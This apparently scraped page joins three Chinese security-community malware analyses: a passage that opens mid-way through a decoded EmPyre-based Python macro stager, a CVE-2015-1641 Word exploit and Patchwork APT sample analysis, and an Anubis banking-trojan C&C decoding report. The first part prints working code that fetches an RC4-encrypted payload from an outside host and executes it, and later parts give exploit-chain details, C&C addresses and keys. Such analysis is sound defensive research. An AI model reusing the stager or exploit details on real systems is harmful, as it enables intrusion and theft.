3: 'urllib.request'
}[sys.version_info[0]], fromlist = ['build_opener']).build_opener();
UA = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';
o.addheaders = [('User-Agent', UA)];
a = o.open('https://www.securitychecking.org:443/index.asp').read();
key = 'fff96aed07cb7ea65e7f031bd714607d';
S, j, out = range(256), 0, []
for i in range(256):
j = (j + S[i] + ord(key[i % len(key)])) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
for char in a:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))
exec(''.join(out))
Python代码！宏中包含的已解码的python很容易阅读。简而言之：
1\. 检查以确保LittleSnitch没有运行
2\. 从<https://www.securitychecking.org:443/index.asp> 上下载第二级的攻击载荷
3\. 使用RC4解密这个有效载荷（key：fff96aed07cb7ea65e7f031bd714607d）
4\. 执行这个已解密的攻击载荷
python代码看起来很熟悉吗？是! 它几乎和开源的EmPyre一模一样。特别是lib/common/stagers.py文件：
EmPyre是一个“基于密码学安全通信上的纯Python开发后利用代理和灵活的框架” 好的，所以攻击者正在使用开源的多阶段后利用代理。
如上所述，第一级的Python代码的目标是要下载和执行第二阶段组件,它从<https://www.securitychecking.org:443/index.asp>
上下载。很抱歉，此文件现在无法访问。然而，这个文件可能只是Empyre的第二阶段组件（虽然攻击者可以下载并执行其他东西）。
Empyre的第二阶段组件是持久代理，它使远程攻击者能够继续访问受感染的主机。它如何持久化的呢？它是可配置的：
(EmPyre) > usemodule persistence
mutli/crontab osx/CreateHijacker osx/launchdaemonexecutable osx/loginhook
所以持久化可能通过以下方式实现：
cronjob
dylib劫持
启动守护程序
登录hook
我不会说谎，我相当失望地看到Empyre（包含cite）的dylib劫持技术–我在几年前在VirusBulletin就详细分析过了。
CreateHijacker.py
# list of any references/other comments
'Comments': [
'comment',
'https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x'
]
...
adapted from @patrickwardle's script
如果恶意软件的第二阶段组件作为一个cronjob或守护进程来实现持久化，BlockBlock会尝试检测持久化：
我很可能会更新BlockBlock来监视login
items持久化，尽管这是一个非常古老和不赞成使用的持久性技术。KnockKnock和Dylib劫持扫描器都能够发现持久化组件。
EmPyre的持久性组件还可以被配置来运行多种EmPyre模块（如：[lib/modules/collection/osx](https://github.com/EmpireProject/EmPyre/tree/master/lib/modules/collection/osx)）。这些模块允许攻击者执行恶意操作，如启用摄像头，dump钥匙链，以及访问用户的浏览器历史：
好吧，关于[www.securitychecking.org](http://www.securitychecking.org)
网站有什么呢？正如@noar指出的，VirusTotal扫描之前的网站，它解析为185.22.174.37：
此IP位于俄罗斯,并与多起恶意行为有关，如钓鱼网站：
**结论**
总体来说，这一恶意软件样本不是特别先进。它依赖于用户交互（在Microsoft
Word中打开恶意文档（而不是Apple的页面）），以及需要启用宏。大多数用户知道从不允许宏！此外，使用开源的组件可能会导致检测软件检测到它！
由于宏是“合法的”功能（相对于内存崩溃漏洞），恶意软件也不必担心在系统中崩溃或被修补。 | 社区文章 |
# CVE-2015-1641及利用样本分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
1.本文一共1920个字 58张图 预计阅读时间12分钟
2.本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载
3.本篇文章从CVE-2015-1641漏洞的分析入手 详细的阐述漏洞的成因再分析Patchwork APT组织使用的该漏洞的样本
4.本篇文章一栋 十分适合漏洞安全研究人员 以及威胁分析人员进行学习交流
5.若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽
## 0x01 漏洞描述
* 漏洞成因：类型混淆漏洞。Word在处理`displacedByCustomXml`属性时未对`customXml`标签对象进行有效性验证，可以通过传入其他标签对象，由类型混淆进而达到任意内存写。故可以借由精心构造的标签对象及对应属性值实现RCE。
* 影响版本：Microsoft Word 2007 SP3, Office 2010 SP2, Word 2010 SP2, Word 2013 SP1, Word 2013 RT SP1, Word for Mac 2011, Office Compatibility Pack SP3, Word Automation Services on SharePoint Server 2010 SP2 & 2013 SP1, Office Web Apps Server 2010 SP2 & 2013 SP1
## 0x02 漏洞分析
样本信息及分析环境如下：
> MD5:A69F778D1F511268019B1080F5E3B98B
>
> OS版本：Windows 7 SP1(x86)
>
> Word版本：2007
>
> WWLIB.DLL版本：12.0.4518.1014
### 0x02.1 类型混淆—>任意地址写
通过rtfobj查看该文档的OLE对象：
手动提取出来2号对象存为一RTF文档，Windbg附加Word 2007并打开该文档，崩溃点如下：
之后将0号与2号对象提取出来存为一RTF文档：
设断`bp wwlib!DllGetClassObject+0x50e6 ".if(ecx=7c38bd50){}.else{gc}"`：
待执行`call wwlib!DllGetClassObject+0x50fe`前查看栈中参数如下：
通过`rtfobj.py -s 2`将2号对象存为一Word文档，查看其`word`目录下`document.xml`：
可以看到smartTag标签属性值与栈中参数对应关系。
根据微软文档，`displacedByCustomXml`属性指定替换标签应为customXml：
继续跟进分析，计算写入地址：
计算公式为[[Parameter 1]+0x8]*[Parameter 2]+[[Parameter 1]+0xC]+[Parameter
1]，具体参数值见图5。直接步过该函数，可以看到其结果与公式结果无异：
跟进，查看其`memcpy`传递参数：
向0x7c38bd74地址处写入0xffffe696，该值用于第二次计算Dst Address。
重新设断`bp wwlib!DllGetClassObject+0x50e6
".if(ecx=7c38bd68){}.else{gc}"`，断下之后跟进到其计算Dst Address函数：
可以看到[[Parameter 1]+0xC]为之前写入值。第二次写入覆盖MSVCR71.DLL虚函数表中函数调用地址：
第三次写入：
该值用于第四次计算Dst Address：
第四次写入：
### 0x02.2 劫持执行流
继续向下执行，崩溃点如下：
重新载入RTF文档，于0x7c376fc4处设断：
由上图可知第二次内存写入——覆盖MSVCR71.DLL虚函数表中函数调用地址，第四次内存写入——覆盖传递参数。
将1号对象加入后存为RTF文档，重新载入分析，`bp 0x7c376fc8`设断：
可以看到堆喷布局如上，该布局由1号对象`\word\activeX`目录中`activeX1.bin`完成：
根据其布局，不断执行`ret`，到`0x7c3651EB`处开始ROP链：
执行VirtualProtect以绕过DEP保护：
然后开始执行`activeX1.bin`内Shellcode部分：
### 0x02.3 Shellcode of activeX1.bin
遍历当前进程中打开文件句柄，查找其Size符合如下条件的文件：
映射到内存中：
通过文件头与`FEFEFEFE FEFEFEFE FFFFFFFF`判断是否为样本文件及Shellcode起始位置：
复制Shellcode到VirtualAlloc开辟空间内，之后跳转到第二部分Shellcode执行。
### 0x02.4 Shellcode of RTF
解密后续Shellcode：
由ANY.RUN可见其后续行为(有兴趣的读者请自行下载样本分析)：
### 附
正常情况下，Word在解析customXml标签时会开辟一新空间：
而在解析smartTag时：
故借此可以控制目标写入地址。
## 0x03 Patchwork组织某利用样本分析
### 0x03.1 RTF文档分析
> MD5：2C22EA1CED258346351EAD09B1DC6074
查看OLE对象：
0号对象用以加载OTKLOADR.DLL以引入MSVCR71.DLL绕过ASLR；
1号对象用以完成堆喷及Shellcode布局；
2号对象用以触发CVE-2015-1641漏洞，触发点位于`styles.xml`中：
载入RTF文档，`bp 0x7c376fc8`设断，执行ROP链后调用VirtualProtect更改内存属性，跳转到Shellcode：
通过`jmp`+`call`+`pop`给传参，解密后续Shellcode：
解密逻辑如下：
开辟内存空间，复制加密Shellcode并解密：
通过`call`指令为函数传递参数：
后续仍有数次解密Shellcode过程，不再一
一列出。于`C:\Users\xxx\AppData\Roaming\Microsoft\Templates`目录下创建文件：
写入文件内容：
之后于相同目录下创建`~$Normal.dat`并写入内容：
该文件具有隐藏属性：
于`HKEY_CURRENT_USER`下创建注册表项：
设置注册表键值：
删除注册表禁用项：
后续将由`wscript.exe`执行`C:\Users\xxx\AppData\Roaming\Microsoft\Templates\Normal.domx`，该文件实际为VBE格式：
可借由[scrdec18](https://gist.github.com/bcse/1834878)工具解密：
### 0x03.2 Normal.domx分析
该文件本质为VBE格式，可由`wscript.exe`正常加载。分析时需通过工具解密出VBS脚本。
读取`~$Normal.dat`第一部分内容并解密，写入`%USERPROFILE%\AppData\Local\Microsoft\Windows\Temporary
Internet Files\Content.Word\PLAs_NEW_ORBAT.doc`：
该文档用于迷惑受害者：
之后释放三个PE文件并设置隐藏属性：
执行`MicroScMgmt.exe`并删除自身以及`~$Normal.dat`：
### 0x03.3 MicroScMgmt.exe分析
查看导入表：
该文件为带有数字签名的白文件：
其用于加载恶意DLL——`jli.dll`。
### 0x03.4 jli.dll分析
> MD5：051573B9173DE6886E0575F81778EA03
查看其导出函数：
该文件带有无效签名：
其与Patchwork组织之前使用过的BADNEWS木马存在相似性，此处暂不展开分析。完整攻击链如下：
## 0x04 参阅链接
* CVE-2015-1641 Word 利用样本分析(<https://paper.seebug.org/351/>)
* Microsoft Docs——displacedByCustomXml(<https://docs.microsoft.com/en-us/previous-versions/office/developer/office-2010/cc847826(v=office.14)?redirectedfrom=MSDN>)
* 手把手教你如何构造office漏洞EXP（第四期）(<https://www.anquanke.com/post/id/85031>) | 社区文章 |
**作者：启明星辰ADLab**
**公众号：<https://mp.weixin.qq.com/s/TwPL_F6hihPuHb9NtL7rtA>**
# 1\. 再相见
近期，启明星辰ADLab对便签网站Pastebin平台（该平台常常被黑客用于存储攻击成果）内容进行筛选和分析，发现了一段神秘而古怪的中文字符（见图1）。该段文字被存储在一个名为“Unitled”的用户文件中，从字面上看，这是一段没有完整语义的文字，看起来就像密语一样，似乎其中隐藏着一些不为人知的信息。那么这会是某个黑客组织或者情报人员之间的秘密暗号呢，还是说仅仅只是随机输入的毫无意义的文字？对此，本文将对这其中隐藏的秘密进行分析追查。
图1 Pastebin上存储的神秘中文字符
**注： Pastebin 是一个合法便签类站点，很多黑客团队喜欢将其作为暗中进行信息交换的媒介，或者把攻击成果上传到 Pastebin 上进行存储。**
为了弄懂该段文字的含义，我们首先想到的是该段文字是否为一段被打乱顺序的有具体含义的句子，但是通过我们对其进行各种组合排序并没有得到什么有用情报信息。那么该段文字是不是被编码处理过的情报信息呢？我们试图在开源站点Github上对这段文字进行搜索看是否存在相关代码，但并没有多少有用的信息。最后，我们在Twitter上发现了一条与这段文字类似的推文（见图2）。
图2 Twitter上和神秘字符相似的推文
可以看到该条推文的内容和我们发现的中文字符有着相似特征，他们都是以“苏尔的开始”和“苏尔苏尔完”作为首尾字符串，在首尾字符串之间的文字表现出随机性，并没有特别的含义。而该推文评论中提及了推文上这段文字为银行木马Anubis编码后的C&C服务器地址，那么极有可能我们发现的那段神秘中文字符串也是一段C&C地址，而且可能就是银行木马Anubis的C&C。
**注：Anubis
是一款集勒索、间谍、银行木马于一体的综合型恶意软件，自2017年1月其源代码被公布以来，已经影响到全球100多个国家的300多家金融机构。2018年9月启明星辰ADLab对其已进行详细分析，并发布深度分析报告《首款集勒索、间谍、银行木马于一体的新型综合型
Android 病毒深度分析》。**
接下来，我们并不急于去收集最新的Anubis样本，因为收集、分析、处理样本需要花费比较大的工作量，所以我们首先试图从GitHub寻找线索，我们以“苏尔的开始”为关键字进行搜索并且确确实实找到了一段相关的解码代码（见图3）。粗略一看这段代码似乎应该就是这段神秘文字的解码算法，但经过我们的测试，发现这段代码并不能正确的解码我们最开始所发现的那段神秘文字。
图3 GitHub上疑似的解码代码
那么为了解开其中秘密，我们还得回到样本上来，如果能够找到相关的Anubis样本，通过对样本代码进行逆向分析，就能逆向出解码算法，那么也就可能解密出这段神秘的中文文字。由于这段文字的发布时间是2019年2月17日（图1），因此我们在样本库中查询2019年2月份以后的Anubis病毒样本，通过一一排除后发现了与这段神秘中文字符最相关的几个样本，其中最新的一个样本在2019年6月6日才出现。在对样本深入分析后，我们确认该新样本确实是银行木马Anubis的最新变种。
同样，该木马也将C&C地址加密编码后存储在pastebin平台上，其链接为https://pastebin.com/bbLpxvUH，
截止到我们分析时该页面已经失效。但是该样本中对从该链接提取出来的信息进行解码的算法却能够正确解码我们所发现的那段神秘文字。解码方法为：木马内置有一个密码表，在取得这段文字后，根据这张密码表将中文解码成Base64字符串，再将Base64字符串解码后的数据通过rc4解密（密钥为“1day”），最终得到明文的C&C。利用该解密算法，我们成功解密出了最初发现的那段神秘文字，得到C&C地址为：
“http://www.go777to.top”，该地址的解析记录从2019年4月6日开始并且截止本文发布一直活跃。另外，我们还在社交应用Instagram上找到了一段相同的文字（见图4），这表明攻击者并非单独使用Pastebin配置C&C。不过，我们破解的解密算法并不能解密Twitter上的那段中文字符，这可能是由于木马版本差异，解密算法或者解密密钥不同导致的。
图4 Instagram 上的密文C&C
# 2\. Anubis的C&C隐藏手段
一般的间谍软件会将C&C地址（加密）硬编码在代码当中，或者利用合法的Web服务（如微博、QQ空间或者Twitter等）来配置C&C地址。比如Anubis早期的版本就是利用Twitter配置C&C地址，这样做一方面可以有效隐藏C&C地址，另一方面攻击者可以灵活地对C&C服务器进行配置和更新。而此次，攻击者选择将C&C地址编码成中文存储在了Instagram和Pastebin上。
从2017年出现到现在，Anubis背后的攻击者在C&C策略上作了多次改变（见图5）。2018年9月，攻击者将类Base64编码的字符串作为推文发布在Twitter上（见图6），到2018年12月，攻击者将推文信息升级为了中文字符（见上图2），2019年5月，攻击者将中文字符配置到了
Telegram频道上（见图7），再到2019年6月我们此次发现的这个样本，攻击者使用Instagram和Pastebin作为其中文字符C&C配置载体（见上图4和上图1）。一般分析人员在Pastebin上抓取到这样的字符时并不会特别留意并且对于有指向性的爬虫也会忽略掉此类信息，因而这种方法具有一定隐蔽性。
图5 C&C演变
图6 Twitter存储的加密C&C
图7 Telegram存储的加密C&C
# 3\. C&C解密算法分析
这次Anubis的更新，除了对代码做了混淆和加密外，其背后的攻击者选择了将C&C地址编码成中文文字，该木马内置有解密C&C用的密码表，内容如表1所示。从表1中我们可以看到，英文字母的大写和小写以在键盘的排列顺序排列，跟着是等号和0-9的数字。除了数字9外，每一个字符都对应一个汉字。
表1 解密C&C用的密码表
C&C的解密分四步：第一步，木马从Pastebin获取中文编码的C&C密文，具体做法是从这段中文文字中提取出“苏尔的开始”与“苏尔苏尔完”之间字符；第二步，木马根据上表1中的密码表将提取出来的中文字符串转化成一段由“字母”、“数字”和“=”组成的字符串，通过代码可知这是一段Base64字符串（实现代码见图8）。
图8 中英文字符替换
第三步，通过Base64解码算法将这段字符串进行解码，并将其转化为二进制数据；第四步，解码后的数据通过rc4算法进行解密（密钥为“1day”），实现代码如图9所示。
图9 解密Base64字符串
最终密文C&C地址就被成功解密成明文。该木马的C&C存储地址为“https://pastebin.com/bbLpxvUH”，不过由于该地址已经失效，无法验证。我们使用从木马中破解出来的解密算法成功解密出了我们发现的那段中文文字，解密后得到C&C地址“http://www.go777to.top”，而对Twitter上的那段中文字符解密失败，可能是由于木马版本差异，解密算法不同或者解密密钥不同导致的。
# 4\. 新旧样本对比分析
较我们之前分析的木马版本，新发布的木马版本进行了高强度的代码混淆，如图10所示，旧版本中明文的类名在新版本中被混淆成了没有意义的字符串。显然，混淆后的代码非常不利于阅读，这无疑提高了安全研究人员的分析难度和时间成本。
图10 代码混淆
另外，攻击者还对木马类中的明文字符串进行了加密，如图11和图12所示，分别是旧版本和新版本相同功能处的代码对比，从图中我们可以看到，明文的字符串在新版本中被加密成了Base64密文字符串。这样大量的密文字符串非常不利于安全研究人员的静态分析工作。密文字符串经过Base64解密再经过rc4解密（密钥为“1day”）可得到明文字符串。
图11 旧版本代码
图12 新版本代码
# 5\. Anubis的基本功能和行为
Anubis主要通过伪装成金融、邮件、物流以及软件更新等应用混入谷歌商店进行传播。其整合了多种类型恶意软件功能于一身（见图13），主要包含勒索软件功能、键盘记录功能、RAT功能、短信拦截功能和呼叫转移等功能。同时，Anubis还可以窃取受害用户的通讯录、短信、银行登录凭证等敏感信息。此外，攻击者还可以远程控制感染设备，利用感染设备向攻击者指定的目标发送特定短信。从Anubis诸多强大的功能可以看出，攻击者完全可以对受害者的社交网络进行全方位渗透和欺诈。
图13 Anubis功能示意图
Anubis和C&C服务器建立连接成功后，可以通过远程服务器下发30多种恶意控制指令，包括录音、截屏、获取感染设备的文件结构、控制感染设备向指定号码发送特定短信等恶意指令，我们将其包含的C&C命令及其含义归纳到了表2。
表2 主要的C&C命令和功能
Anubis会在感染设备后台监视目标应用程序启动，然后使用对应的钓鱼屏幕覆盖掉合法的应用程序以窃取受害者的账户凭证，同时会利用短信拦截功能来拦截银行发送给受害者的所有短信，这样攻击者就绕过了银行的双层身份认证，成功对受害者的财产进行洗劫。
Anubis劫持目标几乎涵盖全世界各大金融机构的手机APP，总数达到了300多个，涉及中国、美国、英国、日本、香港、法国等40多个国家和地区，我们仅将部分金融APP的包名列到表3中：
表3 部分目标金融APP
# 6\. 总结
从2017年出现至今，Anubis背后的攻击者在C&C策略上作了多次改变。主要体现在两个方面：一是C&C的编码方式由之前的编码成类Base64串发展为编码成中文文字，二是配置C&C的载体由早期的利用Twitter站点演变成现在的利用Twitter、Telegram、Instagram和Pastebin等多平台。根据启明星辰ADLab的数据观察，Anubis这次的行动从2019年2月份开始，一直到2019年6月份都保持活跃。其主要是伪装成金融、邮件、物流以及软件更新等应用混入谷歌商店进行传播，比如我们分析的这个变种伪装成Flash升级应用诱使用户安装，进而对用户进行非法侵害。虽然Anubis主要活动在欧美等地，国内暂时没有发现用户感染此类木马，但这次的C&C隐藏策略中利用了中文进行编码，不排除其后续会攻击国内用户的可能性。
建议用户不要轻易点击短信中的不明链接，不要安装不明来源的APP；对申请可疑权限尤其是短信读写、打电话以及需要激活设备管理器的APP要特别留意，涉及到金钱的操作要格外谨慎；遇到操作异常，应当及时使用杀毒软件查杀或找专人处理。目前互联网上也充斥着形形色色的第三方APP下载站点，很多甚至成了恶意应用的批发集散地。用户应特别留意不应轻易的在一些下载站点下载APP，尽量从官网下载所需APP应用，在不得不从第三方下载站点下载软件时，要高度保持警惕，认真甄别，以免误下恶意应用，给自己造成不必要的麻烦和损失。
* * * | 社区文章 |
Subsets and Splits